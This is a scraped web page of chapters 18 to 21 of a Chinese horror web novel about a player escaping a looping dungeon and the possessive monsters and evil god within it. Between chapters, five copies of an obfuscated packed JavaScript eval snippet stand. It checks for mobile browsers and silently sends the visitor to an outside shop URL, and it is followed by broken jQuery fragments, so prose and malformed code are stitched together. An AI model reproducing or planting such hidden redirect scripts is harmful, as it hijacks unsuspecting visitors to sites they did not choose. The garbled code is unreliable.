;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670839|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小刀转出了残影,他垂眸看着直播间中不断滚动的弹幕,时不时回上一句。 “你的漂亮老婆?”他嗤笑一声,翡翠绿中涌动着暗色,“不,他是我的。” 也只能是他的。 哪里来的废物,也配跟他抢。 “天赋。怎么,想知道啊?”青年无所谓道,“自己去其她玩家直播间猜去吧,用她们身上了。” 刷飞快的弹幕瞬间变为对提出问题那个玩家落井下石的嘲讽。 嘲讽那名玩家的不自量力。 凡是在俞熵直播间待过一个副本的人对此深有感触,并绝口不提。 不是惧怕他背后不存在的势力,也不是胆颤他原生世界有多么强悍,甚至余熵本人也从不忌讳别人猜测他的天赋。 而是因为,俞熵的天赋是极少数能穿透无数空间与维度,对直播间内的玩家造成影响的幻觉类天赋,即使只能引起一瞬的恐惧也足够让人手脚发凉,心脏高速蹦出体外,久久不能平息。有的玩家甚至还在论坛里挂过余熵,只因为在看直播间时被他的天赋影响,神经衰弱连着做了好几天噩梦! 这样说来,就能解释余熵直播间中对他的天赋闭口不谈的那些常看玩家的想法了—— 因为淋过雨,所以要把别人的伞都撕掉! 余熵所通关的副本每每出来的也只有他一人,据可靠消息,几个曾在综合榜名次□□千露过头的老玩家也都折在了他手上。 新人第四,恐怖如斯! 不过他很少开直播,每次开了也大多是乘兴所为,这身神秘的行头吸引了不少玩家、公会乃至高玩。再加上他喜欢扮猪吃老虎,或挑拨离间,或运用天赋兵不血刃地狩猎玩家,因此无论是抱着猎奇、探寻、敌意,还是仰慕、憧憬而来的玩家络绎不绝,直播间内流量往往很大。 “这次怎么换人设了?” 他眯着眼睛打了个哈欠,像只懒洋洋的金钱豹,矫捷且危险,“你猜啊。” 因为他一眼定情的老婆喜欢。 他才不会告诉他们。 像是感受到了什么,男人眸子一沉,有些不快的“啧”了声,随即从高处一跃而下。 18. 华北小镇(13) 黑框双马尾与腼腆壮汉在一条胡同里打了个照面。 借助轮廓猜到黑暗中的来人,黑框双马尾语气一松,实际上却暗中握紧了手中的道具,“原来是你呀大叔,好巧啊。” 【信徒】……会是他吗? “……” 对面一向老实敦厚的男人没有吭声。昏暗的胡同中只有越来越近,在泥水中溅起水渍一轻一重的脚步声。 黑框双马尾直觉不对,心慌感让她不由自主向后退了一步,她讪笑道:“再往前可就超过正常社交范围了,男女授受不亲哦。” “……” 回答她的依旧是影影绰绰靠近的身影,以及在微光下一闪而过的青紫面容。 “你……你再过来我就动手了!!”她抬高了声量,声线却是在颤抖的。 眼见身影越来越近,黑框双马尾飞快向后退了几步,但也没转身就跑。 在未确定来人目的时她不希望将自己的后背交给对方。 她慢慢拉开距离,却不想对方一瘸一拐的步伐突然快起来,青肿的如注水白面馒头似的脸猛地出现在脸色苍白少女面前。 “救我……救救……”半个豁口渗着血的嘴巴一张一合,声音嘶哑干瘪如同行将就木的老人,狰狞的伤口让大汉两个眼球鼓了出来。而那双泛着红血丝的眼睛在看清面前人时变得格外恐怖,“是你,杀人…凶手!是你!是你、是你、是你……是你是你是你是你是你是你!!!!!!” “我找到你了!!!!!”他晃晃肿胀的脑袋,如恶鬼般猛地扑了上来。 “……!”少女被吓得倒吸了口凉气,手忙脚乱的将手中的攻击道具向前扔了出去,随后便是一阵心疼。 她也才过了五个副本,手头道具少得可怜,这下子唯一一个攻击道具还用了出去。 不过……看到地上逐渐腐烂的尸体时,她松了口气,紧张而剧烈收缩的心脏仍让她感到心慌。 时间回到昨天。 破旧的旅店外不断传来撞击声,已经有碎痕的玻璃外是一双双满是血丝的眼睛,里面盛满毛骨悚然的恶意。 面前的木板门摇摇晃晃,楼上的窗户劈里啪啦。 黑框双马尾畏畏缩缩的躲在其她玩家身后。 她感受到大多数恶意都是冲着自己来的,第一天在镇长面前说错了话而吸引的仇恨值终于在今天夜里彻底爆发,她深知如果不做些什么,自己就会死在这个晚上。 于是,她决定用道具将仇恨值转移出去。 至于人选……他不是说她长得像他女儿吗,既然如此为她承担些仇恨不也是应该的吗?她只是在索取应得的报酬罢了。 她不会有丝毫悔恨之心,甚至理所应当的埋怨他平白消耗了她的一个攻击道具。 少女专注于自己心中的小心思,自然也就没有注意到自己逐渐溃烂萎缩的皮肤,与越来越低的视线。 从脚到头,化作一滩和着血水的稀泥。 最后只剩下一颗头颅,在地上滚呀滚,时不时发出些惨绝人寰的尖叫声。 然后被路过的巨肚行尸一口吞下。 咔嚓。咔嚓。 过道重归于安静。 从头到尾,自始至终,昏暗狭窄的胡同中没有第二个人出现。 * 刚落地的俞熵感受到天赋传来的讯息,有些疑惑。 怎么突然死了两个……不应该啊。 青年眨了眨绿幽幽的眸子 他的天赋目前属于辅助战斗型的精神攻击,按理说杀不死玩家。 只是会疯掉罢了。 所以那两人莫非是被吓死的? 金发碧眸的青年眼里满是嫌弃。 好脆弱的玩家,怎么会和他排到一起。 算了。死了更好。 他加快脚步。 刚刚他发现了一个十足恶心丑陋的臭虫。 没想到他还活着,真奇怪……他明明已经剁得足够碎了。 不过没关系,再杀一次就好了。 青年转身拐进一间居民住宅。 一脚踹开掩住的门,他同里面陷入僵持的短发女对视了一眼,对方被吓了一跳,枪都差点没拿住,但警惕的方向还是瞬间转向了他。 啧,失策了。 忘了里面还有个活人。 顶着一头漂亮金发的青年冷下脸,眉眼肃杀且冷峻,锋利的刀尖点了点里头看不出原样的庞然大物,神色淡淡:“不想死的话建议你现在立马滚出去。” 短发女一怔,随后收起枪,转身疾步走了出去。仔细看她身形还有些踉跄。 无关人物走了,俞熵对着从他迈入大门起就在不断发抖的巨物有些恶劣的笑道:“好久不见。怎么把自己弄得这么狼狈?” ——眼前那坨肥肉隆起叠摞的无臂怪物,赫然就是消失已久的上吊眼! 后者猛地一哆嗦。 “嗯…【附着】,这个【天赋】啊,怪不得能躲在我割裂出来的空间里。” “又丑又臭的。”俞熵嫌弃的扇了扇鼻尖前的空气。 会躲会藏知道恐惧,看来还有些神智。 金发卷毛将手中锋利锃亮的武器收了起来,又从个人空间拿出了一颗周身散发着不祥气息的圆球,仿佛对待好友般熟络地介绍,“这是我上个副本从一个老玩家那里得到的,说是能使有生命的物体永生,副作用是无法恢复【同化】程度。” 他随手将它朝着意图逃跑的上吊眼扔去,那浑球一经接触便融入进对方肌体消失不见。 “虽说用在你身上有些可惜,但谁让你没长眼睛,惹了不该惹的人呢。” “所以——麻烦永远留在这个副本里吧。”他用脚尖挑起一根木刺,紧接着将其踢向不断挣扎蠕动那物,后者瞬间便被钉在原地,黄褐色液体溅得到处都是。 在依稀的怪叫声中,青年神色淡淡,头也不回转身离开。 * 眼前的光忽明忽暗不断闪烁,像是老旧的黑白电视,刺耳的白噪音在脑海中回荡,从左耳到右耳,最终回到左耳。 不知过了多久,我猛地吸了一大口气,慢慢支撑着坐了起来。 “您醒了?” 声音有点耳熟。 我缓缓将发木的脖子扭过去。 嗅嗅。 我闻到了两种与记忆中相差无二的气息……如果没有出什么意外的话现在应该是正常的那条时间线吧。 跳时间线前我将割掉手指幻化的躯体与主体调换过位置,当时作为阵眼湮灭的只是具空壳子,而我只需确保主体的成功转移便可安然无恙。 不过当初漏算了一点,那就是我还不能完全掌握这种禁术,所以在未来很长一段时间中我将失去自己的大部分视力。 我轻轻眨了下眼。 视线内的一切都是模糊不清晰的。 禁术嘛,相比献祭灵魂云云,只是暂时失去大部分视力已经很幸运了。 模糊的两张面孔似乎也向我眨了几下眼睛。 我认出来了。 是之前‘复活’的,也是我最早碰见的那两个小孩。 之前在副本中没有碰到是因为那时时间线还没做出变动么。 这时,有温柔的风声落向我的眼睛。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670840|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下意识闭上眼。 “您的……眼睛。” 左边那个小孩的声音像是担忧,又像是在哀伤,冰冷的手轻抚在上面。 冰凉的触感只存在了一会,凉意下去时,一滴水珠砸在我的脸上。 “……?” 把我砸地一愣。 哭了? 真哭了? 怎么突然道抒情环节了。 我看得模糊,一时间有些不知所措,“我……” “对不起。”后面又依次进来几个小孩,它们低着头,影影绰绰,听不清是谁先开的口。 这三个字像是一个开关,紧接着一声又一声,它们大多轻盈、微弱,以至于难以发觉,却沉重的顺着孩子们的脸颊坠落在地面,啪嗒作响。 “……”我抿了下嘴,轻笑道:“我从来没怪过你们。” 选择是我自己做出来的,眼睛和幻化的躯体湮灭也只是为完美通关副本做的奠基,说到底这不过是我的一己之欲,它们于我而言也只是顺带着拉起的跌倒孩童,甚至还是顺手的备用工具。 我自认为没有亏欠过它们,反之当然亦然。 我想告诉它们这些事实,以抹去那些虚伪的、不切实际的浪漫想法,但张了张嘴,在孩童希冀的目光中我最终问道:“现在是什么时候了?” 算了,说我自私也好伪善也罢,看着它们我真的开不了口。 不过趁机问问副本信息我还是很好意思的。 最前面的那个男孩轻声回道:“您死后的第1937408天。” 五千多年……? “那些异化的镇民呢?那是怎么回事?” “它们是行尸!会受伤,会疼,会有意识却克制不住去吃同类,会清醒的被同类分食,但永远不会死!”它们异口同声,纯真的童音中带着恶毒、怨念,“这是神明的诅咒!” 藏在被褥下面的手抖了一下。 我掀开被子,躯体的灵活性并不会因为眼盲而大打折扣,即使这样我仍旧如履平地。 一道道身影拦在我身前。 “您又要走了吗?”它们依旧异口同声。 同一句话从数个孩子口中同时发出,男声,女声,稚嫩的、缺乏情感的童声混合在一起,入耳的便是毛骨悚然的惊悚。 “……”我后退一步。 “您又要走了吗?” 它们紧追不舍。 “您……又要走了。” “您又要走了!” 我面色稍凝。 这些孩子……不,不应该再称它们为孩子了,能通过古阵死而复生的都是惨死含恨的冤魂不会再具备人性,生前的善良纯真正义等正面品质在死后只会加重它们的怨念与残暴,这点没有任何人比我再清楚。 因为这个古阵的名字正是【颠倒】。 生,死,善,恶;黑,白,是,非,均可颠倒。 回来的是满心仇恨,阴晴不定,被恶念怨恨侵蚀渗透的—— 怪物。 “您不能走哦。”最前面的姐弟二人静静站在我前方,阴冷的气息从孩童幼小的身躯中陡然爆发。而他们身后的小怪物们不知道何时已经将床周围团团包围。 它们齐声道:“您不能走哦!” 周围气温直线下降,冷的仿佛能凭空冻出冰渣子。 即使有所准备,但看到这样的场景会觉得……太麻烦了。 “唉。” 我舒口气,将长袖撸了上去,随手挽起散开的青丝,挑眉看向它们。 “小崽子们,是准备一个个来——” “还是一起上?” 19. 华北小镇(14) 好吧,他们两个都没有选择。 而是突然身型抽条,长高了一大截。 看着眼前模糊四散但格外熟悉的身影,我大惊。 我去,怎么是徐家那俩。 已经比我高出半个多头的徐泽棱角分明的脸庞倏地贴上来,俊朗的五官在眼前忽的放大,隐隐约约看见的深褐色眼眸好像盛着一捧苦水。 他似乎也许可能应该大概不太开心,盛有苦水的双眸瞄我一眼,又飞快垂下。 “你想离开……为什么?” 徐泽冰冷的躯体贴上来,硬硬的,有点硌得慌。 “为什么要离开?是我哪里做得不好吗?” 连敬称都不用了。 看着模糊的棕色色块,我也很复杂。 这么明显的特征我竟然从来没去仔细想过。 所以副本正确的时间线应该是——不知道多年前的干旱——我救下了姓徐的两个小孩——二次帮助,一堆小孩——小孩死光——神明降临——小镇变好——神明被杀——我布阵复活怪物,消失——镇民变异——五千多年后第一批玩家登临造访? 我本以为自己插手并成功改变了副本的结果,然而本该在干旱中死去的徐泽等却在时间线变动前就已经存在。 我没能改变时间线,然而它们认识我,也有关于我的那段记忆…… 所以我确确实实进入了过去的时间,参与并构成了那段时间线。 那“神明”呢? 祂又在其中充当什么角色? 在我的猜想中,过去的神明将自己分为两部分,一部分作为我的‘系统’,另一部分则是后来副本中的‘神明’。身为副本boss,祂能一定程度上堪破时空,凌驾于所有时间线之上,预知我的到来并分出‘系统’这一部分。但祂似乎对我的所作所为并不知情,以至于在我那个躯壳布阵到消散整个过程中焦急又愤怒的喊我,还让我不要死。 那就奇怪了。祂曾提到我见过神庙里的祂,这是后来副本中发生的事。既然知道这件事,难道祂还能不知道我还活着?倒也有情急之下口误的可能,但这恰好能证明祂没有我布阵唤回徐泽等的记忆,还有神明预知能力很差。 又或者说,祂根本没有所谓的预知能力。 太乱了。 我皱眉。 不如试试将自己作为切入点思考。 我,先于结果,还是诞生于结果?我是因还是果? 又或者根本就没有先后。 与其说这个副本的时间是一条‘线’,不如说它是一个‘环’,是‘衔尾蛇’。 祂的经历是缺少肉的蛇骨,而我的到来弥补了血肉的缺憾,使副本真正完整。 因为我的长久沉默,徐泽箍住腰部的双臂在微微颤抖,身上的阴冷诡谲感也愈发明显。 气息也跟某个身影逐渐重合。 这个认知使我眼前一亮。 对啊,谁说神明只能分成两半呢? 衔尾蛇,我曾在魔界深处见过这种生物。它始终处于自我吞食状态,拥有不死之身以及堪称完美的生物结构。世间万物迁移变动,它却亘古不变……准确来说它是在周而复始的重复,在消灭自己的同时又在给予自己生机,它孕育著自己,从而令自己得到新的生命。 人类的躯壳腐烂,淤泥中的黑暗侵蚀最后一丝微弱的光芒,于是“神明”诞生,邪神主演的好戏开场。 我若有所思地拍拍男人的头,示意他松开点。 外界一道…或者几道侵略的视线毫不遮掩的爬满我的躯壳,似长满倒刺的藤蔓。 而贴着我的那具身体却逐渐发热,发烫。 像是被温水煮着的青蛙。 不合时宜的想法出现在我的脑海中。 我被抱住了,不再冰冷的大型怪物微微弯腰将头颅搁置在我的肩膀处,有些硬的茶色发尖骚得脖间痒痒的。 “不要走……不要走好不好?” 男人声音闷闷,似乎有意将自己态度放得极低,与最初桀骜不驯的青年判若两人。 然而那双不断收紧的手臂勒得我有点喘不过来气。 我想了想,垂在身体两侧的手环上面前怪物的背,安抚似的拍了拍。 徐泽的肌肉线条绷得更紧了。 事情发展虽然有些出人意料,但问题不大。 相比徐泽,我更好奇除了开头说了几句话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670841|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其余时间像个木桩子站在一旁,却只是凝视的徐礼在想什么。 大概是对视了,我看不真切,但听到女人含笑的声音,“徐泽的问题……不能避而不答哦。” “……” 一个唱红脸一个唱白脸? 当我模棱两可开口时,另一道充满恶意的男声从正前方响起:“喂,小姑娘,非法囚禁是犯法的。” 心头顿时一跳一蹦哒。 这该死的、熟悉的遵纪守法,难道是—— 视线中红色色块突然闪身到另一处,而她原先的位置此时站着一个白色的马赛克,四散的杀意不言而喻。 马赛克活动了下手腕,像是在叹息,又像是嘲讽。“差一点,可惜了。” 我感受到祂的气息,但又与过去的那个不完全相同。 是我刚进副本时遇见的那位。 准确来说,马赛克少年、马赛克青年和“神明”都是同一位,前面两个似乎是两个灵魂寄居在同一具身体中,三者力量同根同源。 “徐泽,”白色青年说,“把他给我。” 仍然趴在我肩膀的徐泽像是什么都没听见。 白色青年身上极低气压瞬间如暴虐中的猛兽,撕咬着周遭的温度。 红色模块出手了,拦住了白色模块。 哇哦,打起来了。 左勾拳,上勾拳,扫堂腿,后空翻,鞭拳………像是怕房间饰品家具受损,双方不约而同的选择了肉搏。 真精彩啊。 将挡住视线的徐泽拽下来随手一丢,我找了个最佳聆听角度。 风声会告诉我一切。 徐礼与白色青年水平有着天壤之别,前者过招时用了近八成力量,而白色青年只用了五成还不到。趁着她被踹出去的空档,一旁的徐泽上去顶替了她的位置。 被换下来的红色模块朝我走来。 用不着多睁一眼就能想到茶发女人婀娜多姿、千娇百媚的艳色。 可惜我现在是个瞎子。 还是个鼻子特别好使的瞎子。 铺天盖地的浓郁血腥味直通大脑,呛得我直咳嗽。 而她坐在我身边,拄着下巴看着我咳嗽。 20. 华北小镇(15) 我听到她突如其来的笑声,分不清是嘲笑还是什么。 这来的莫名的笑声半晌才堪堪停住,似乎是笑够了,女人一搭没一搭的对着透进窗户的细碎的光端详着自己艳红的指甲,突然开口,“留在这里不好吗?” “?” “在这——这个副本里,”她停顿了一下,视线落在我身上,带了点逗弄,“不会再有人伤害你,所有鬼怪、神明都会爱你。虽然很嫉妒祂的实力,但不得不说就算是祂都会为你无限退步哦。” “我能感受到你对事物的兴致索然,没有强烈的欲望,甚至对于‘生’都……”她蹙着眉,似乎格外不喜接下来的那段话,于是转口道:“很奇怪哦,没有欲望可是无法成为玩家的,所以你是例外呢。” “马斯洛理论把需求分成生理需求、安全需求、社交需求、尊重需求和自我实现需求五类……” “别那么看着我,虽然从小就被拐卖到这里,但私底下还是会学习外界知识的。” 我半点没有被抓包的尴尬,弯着眼同徐礼对视。 她倒是晃了下神色,抿抿嘴才继续道:“可是你好像就连最基本的生理需求都不在乎。” “我觉得我还是很在意的……” 代表徐礼的艳红模块靠了过来,一身冷气,开口打断:“你可能不知道,女人的第六感很准的。你的演技,或者你对自己认知的改动骗得了他们,却骗不了我。从见面的第一眼起,你就在观察我们的说话语气、动作以及下意识的肢体语言对吧?” 她轻笑了一声,“你对我们真的有过情感吗?还是表现出来的那些怜悯也不过是你认为在那种情形下最合适的一种情感?” “你站在人群之外观摩着,如同一个久居深山、未入世事,想要混迹于人群中精怪。时无序,对你来说,这很有意思吗?” 女人声音里的笑意急转直下,变得哀怨宛转,甚至带了些怨恨,“可是你装,为什么也不装的好一点?!偏偏,偏偏让我发觉到你对我们所有的善意都是伪造……不,它压根就不曾存在过!而你做出的那些出格的,足以让我们死心塌地的举动,有些甚至都不是为了达成什么目的,仅仅是你兴致上来后的一次冲动,如蚂蚁之于人类,你从不曾将我们放进眼里!” “甚至,甚至你用心头血、用禁术救我们,都算不上一点,哪怕是一点的喜欢、善意,甚至连伪善的怜悯都不曾有过,就好像我们存在与否和你毫无关系……”她声音带了哭腔,“你凭什么……又为什么!” 又哭一个。 我悄悄往远离徐礼的位置移了几步。 好麻烦,还是小时候可爱。 虽然不理解为什么好好的看个打架、聊个天突然变成‘探寻玩家时无序的小秘密’,但说到底我和徐礼也不过普通玩家与核心npc的关系,这位情绪激动的npc有点越界了吧。 我有了杀意,但明面上仍是笑意盈盈,“你也知道我是玩家,我做的事就是为了让我通关,所以肯定是有目的性啊。还有什么‘蚂蚁之于人类’,这是给我脑了个什么形象?” 还怪中二的。 徐礼听不进去一点,她就认定了我是个深山老林的精怪。 我:“……” 我能怎么办? 我拿出一张崭新的手帕递给她。 结果这张手帕好像进一步刺激到了徐礼,她先是如同被扼住喉咙般低声尖叫,随后那张模糊又艳丽的脸皱成一团,像是被揉搓过的纸团,甚至开始低声断断续续说起了呓语。 变神经病了这是? 伸出的手僵在原地。 好吧,我承认我有点装纯,但没想到还能对npc起到精神伤害的作用。 人设都不让立了。 还是楚浮提好。 我轻皱了下眉,收起帕子,静静地在旁边‘看’着她神经质的又哭又笑。 “……怪物,你也是个怪物,不,你比我们更像是怪物……” 她像是在向我求证,却又声嘶力竭地对我说,你凭什么一直高高在上,凭什么不把我们放在眼里。 冰冷的手落在我的脸上,长且锋利的指甲有意划过我的眼角,却留不下一点痕迹,女人姣好的面容模模糊糊的扭曲在一起,“从你踏入这个副本的第一步起就已经将我们从地狱中唤醒,时无序你不能走你怎么敢走!?像你这样的怪物就应该留在这里和我们一起!!!” “你以为我们等了你多久!?五千年,五千年了啊…………五千年了啊!!!”她状若疯痴,声音尖细,却又惚地笑了起来,“不能走、你不能走哈哈哈哈,你不能……你要留下来陪我们,你要留下来陪我们——!!!!!” 我被突然的女高音吓了一跳。 “闭嘴!!” 徐泽与白色青年不知道什么时候停手了,他们一左一右猛地将环绕在我肩膀左右的徐礼撕下来,打晕丢一边去了。 等处理完他姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670842|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,徐泽小心的看着我,声音晦涩,“抱歉,我们只是……” 我摇摇头,摸了摸我的小心脏,打断他的未尽之言。 这些人如果真觉得抱歉,真觉得她说得不对,就不会在旁一直等她说完话才打断。 不过这些歉意就算是真的对我来说也没什么用。 我想要的已经达到了,现在就很好。 禁术的使用使我有些疲惫,我倚在木柱上,想了想道:“你们竟然都是同一个整体的部分。” 性格截然不同的马赛克青年,徐家二姐弟,以及掌控副本的神明……都是同一位。 也印证了我之前的猜想。 副本也不是单次,而是在不断循环往复,像是无始无终的衔尾蛇。 由‘果’构成的副本因为玩家的到来而不断重复,直到我的到来补全了‘因’。自始至终我都没有真正改写过去,而是在书写它。 【调查进度95%】 时间线变化的时候我就在想要不要把副本真相篡改,篡改成一个只有我知道的‘真相’。 可惜bug没有钻成,反而推动了副本背景逻辑的完善,进入了他人的因果。 【距离副本结束还有6个小时,请各位玩家抓紧时间】 “……对。”白衣青年,给我做了几天饭的那个,沉默片刻后点头作为回应,他莞尔,“什么时候发现的?” “刚刚。”才怪。 之前的大胆猜测也是有依据的。 复活神明……我破坏神明遗体以阻止其复活的举动与任务分明背道而驰,却仍然完成了。 所以神明定然存在于我复活那些人之中。 我‘看’向面色不好的徐家二姐弟。 答案不是很明显了吗。 “行,”我笑道:“既然不打算强行留下我,那我就先走了。” 就像之前说的,被古镇反噬虽然有些麻烦,但在供给魔气的戒指破碎前起码能杀掉十个核心NPC。 至于那位沉睡的‘邪神’…… 我若不愿,这个副本又哪能强留我? 到一楼门口时白衣青年叫了我一声。 “?” “你现在应该还在处于重伤状态吧?” 这个发展,莫不是要趁火打劫? 我偏头,朝那个白色模块挑眉,“你猜?” “需不需要一个打下手的?” 青年笑道:“我毛遂自荐。” 21. 华北小镇(16) 于是,苍白瘦削的黑发昳丽青年周围围着三个献殷勤的特殊NPC,后面跟着一串死而复生的怪物,在战战兢兢的行尸版镇民中间炸街的场面便出现了。 “阿时要不要来点小糕点,是之前在我那里住时你喜欢的那些。” “阿时累了吗?” “…………” 好不容易摆脱规则,终年沉睡的压箱大boss闻着味找来时就看到这么一幕。 祂的三个分身黏黏糊糊的跟在祂亲眼目睹死亡的小信徒后面嘘寒问暖。 祂:“?” 祂:“……” 呸!真不要脸! 副本终于到了最后一小时。 读取完分身记忆的邪神只觉得自己要完。祂不知道自己沉睡了多久,只是好不容易走到现在这一步,得到过去渴望的力量,能在恩人面前多露几次脸……结果那个又蠢又毒的分身反倒怪恩人为什么不肯分一点喜欢给她,还在他面前发疯! 哪有这么喜欢人的。 何况无论青年真实情感如何,他确确实实的帮了祂。 就算她是祂怨念与恶意的结合体也不能这样啊……明明祂这个大型恶意集合体都能克制住。 本体累死累活刷的好感一朝回到解放前不说恐怕还成了负数。 祂现在恨不得将那个现在还在昏睡的分身撕成碎片。 不过那也是之后的事了。祂垂着脑袋紧紧跟在青年身后。 毕竟【时间】只剩下一点点了。 倒数十二小时的相处时间对于轮回了上千年的祂们来说实在太短了,就像人间的夕阳,美好却又转瞬即逝。 祂想留下他。 邪神擅自将夕阳留下,也希望小信徒能和这抹橘黄一样在祂的世界停留。 祂将仇恨、怨念、嫉妒与腐朽的黑夜一并吞进肚,只留下对青年的缱倦。 “你真的不可以留下来吗?”祂小心翼翼道。 青涩的黑色狐狸眼漠然上挑,像儿时那弯永不褪色的月亮。 可是他说不能。 祂拽着他的衣袖,踟躇着竟不敢开口问一声‘为什么’。 是不喜欢他们,还是景色太糟糕? 祂想肯定是后者。 青年身型越来越浅,祂的恶念也随着时间愈发不受控制。 只是看着他异于常人的扩散瞳孔,祂最后还是缓缓放下了手。 只要他还活着。 * 系统空间 四四方方的封闭空间涂满了纯白颜料,特殊材质构建的空间溢出白雾,用于治疗已通关玩家精神与身体的伤口。 当然,有三十分钟的时间限制。 “哇他们竟然真的什么都没做就放哥你出来了!”金发卷毛帅哥在黑发旖丽青年旁窜来窜去,亦步亦趋,像只热情黏人的大狗狗。 “哥你真是太厉害了!” 我轻笑:“你说得对,我就是好厉害。” 无论是怪物还是神明,他们的占有欲亦或毁灭欲都不可能低于徐礼,那种食肉动物狩猎时的眼神光是看着就毛骨悚然。只可惜他们狩猎的目标是我。 副本‘邪神’,或者说伪神,身上三分之一的力量来源于我,再加上诞生时间短暂,又将自己的能量分成多份,强行苏醒造成的不可逆影响等,虽然经过一段时间的沉睡,祂的实力还是没能达到全盛时期的十分之一。全盛时我可能还会忌惮副本里是祂的地盘,但现在…… “真没想到你也是信徒啊……哥你演技真好,多亏了你,要不然我就被那个女人投出去,死掉了。哥——你简直是我的福星!”金色大狗狗在一旁开心的甩着尾巴。 “是吗?”我一笑置之。 论演戏,这人才是个中翘楚。 短发女在正式开局前就对我和尚俞使用过天赋【聆听】,很不幸,后者【信徒】身份因此暴露。不过大概是同样不相信别人,而我又正好‘昏迷’,短发女便一直没把这个消息分享出去,最后被我们投了出去。 而我在系统下发规则时有怀疑过系统空间可能存在打探他人想法的道具,便提前改变了部分认知,误打误撞避开了短发女的天赋。所以事实上我和其他人听到声音是同时的,故意反其道而行之,出手殴打上吊眼吸引众目,又用魔气遮掩伤口以引起其他玩家警惕,进而‘昏死’洗清嫌疑——大概不会有间谍刚‘上班’就‘罢工’。 越是简单易想的道路反而越容易被忽略。 但若说眼前这个玩家不曾怀疑过那是肯定不可能的,第一日傍晚叫我吃饭也是在试探我是否因违反身份牌而受伤甚至死亡,甚至有嫁祸于我的嫌疑。 “真的真的!比真金还真!”金毛飞速点头。 我似笑非笑,意识里接受系统自动下发的副本结算—— 【时无序】 【通关T9列序号951730副本‘华北小镇’,获得积分1000】 【主线一:调查进度达到70%,已完成,积分50】 【主线二:存活5天,已完成,积分50】 【支线一:猜猜我是谁,已完成,积分100】 【支线二:复活‘神明’,已完成,积分100】 【支线三:杀死‘神明’,未完成】 【违背身份牌扣除积分:50*4=200】 【总共击杀普通NPC数额为205,获额外积分1*205=205】 【探索度97%,超出部分获额外积分27*50=1350】 【结算积分总数为2655】 【表现得分——S,奖励积分3000】 【系统评价——是个令统讨厌的摆烂摸鱼、消极怠工、意图钻系统与副本漏洞的狡诈之徒!不过呢,念在玩家参与进副本核心部分补全副本,姑且积分奖励1000吧。】 【获取积分更改为6655】 【检测剩余玩家数量:2人均为‘信徒’,积分翻倍——13310】 【检测玩家处于新手保护期,积分翻倍——26620】 【剩余留驻时间:3天】 【掉落道具——】 【T5列道具:怪物的心脏;T4列道具:邪神的眼球;T7列道具:怪物的歉意】 【玩家嗞啦……时嗞…………时无序】 悬在半空代表个人系统的白色圆球突然卡顿,发出次拉兹拉的噪声,我疑惑的拍了拍它。 它转了个圈,最终晃晃悠悠停在面前。 【……恭喜玩家时无序获得序号951730副本‘华北小镇’boss徐年林赠送T3列道具——邪神的半块神格!】 【支线三:杀死‘神明’,已完成,积分10000】 【重新更改玩家获取积分——】 【666210!】 【序号951730副本将永久对外封闭!】 玩家道具栏是一个独立开辟出去的小空间,仅与玩家个人绑定,其他玩家甚至是系统都触及不到。可从个人面板中打开。 按照玩家守则上介绍的步骤,我将视线落在道具栏中摆放整齐的道具上,紧接着面板便自动展开相关信息—— 【T5列道具:怪物的心脏】 【死而复生的怪物怎么会有一颗跳动的心脏呢?真奇怪。仔细听,或许除了强劲的蹦跃声,您还能听到细微的呢喃爱语……当然也可能是疯狂痴癫的渴求哦 使用规则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670843|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 